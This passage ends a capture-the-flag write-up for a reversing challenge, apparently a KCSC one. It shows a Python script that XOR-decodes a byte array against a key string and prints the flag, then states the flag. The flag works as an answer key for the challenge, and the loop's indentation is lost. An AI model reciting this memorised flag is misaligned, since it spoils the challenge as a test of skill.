v69 = [0x12, 0x1b, 0x5, 0x73, 0x1a, 0x70, 0x51, 0x48, 0x57, 0x32, 0x8, 0x43, 0x6, 0x5e, 0x5, 0x5d, 0x1b, 0x5b, \
0x5, 0x19, 0x6e, 0x0, 0x7c, 0x29, 0x1, 0x3f, 0x40, 0x6, 0x0f, 0x1, 0x23, 0xb, 0x6a, 0x7, 0x61, 0x55, 0x0, 0x75, 0x5d, \
0x18, 0x53, 0x5a, 0x66, 0x4a, 0x6a, 0x51, 0x2, 0x49, 0x43, 0x4c, 0x48, 0x70]
v15 = "YXV0aG9ybm9vYm1hbm5uZnJvbWtjc2M="
input_str = ""
for i in range(51):
input_str += chr(ord(v15[i % 32]) ^ v69[i])
print(input_str)
```
**Flag: ```KCSC{7h15_15_345y60l4n6_ch4ll3n63_7ea2da17_<3<3!!!}```**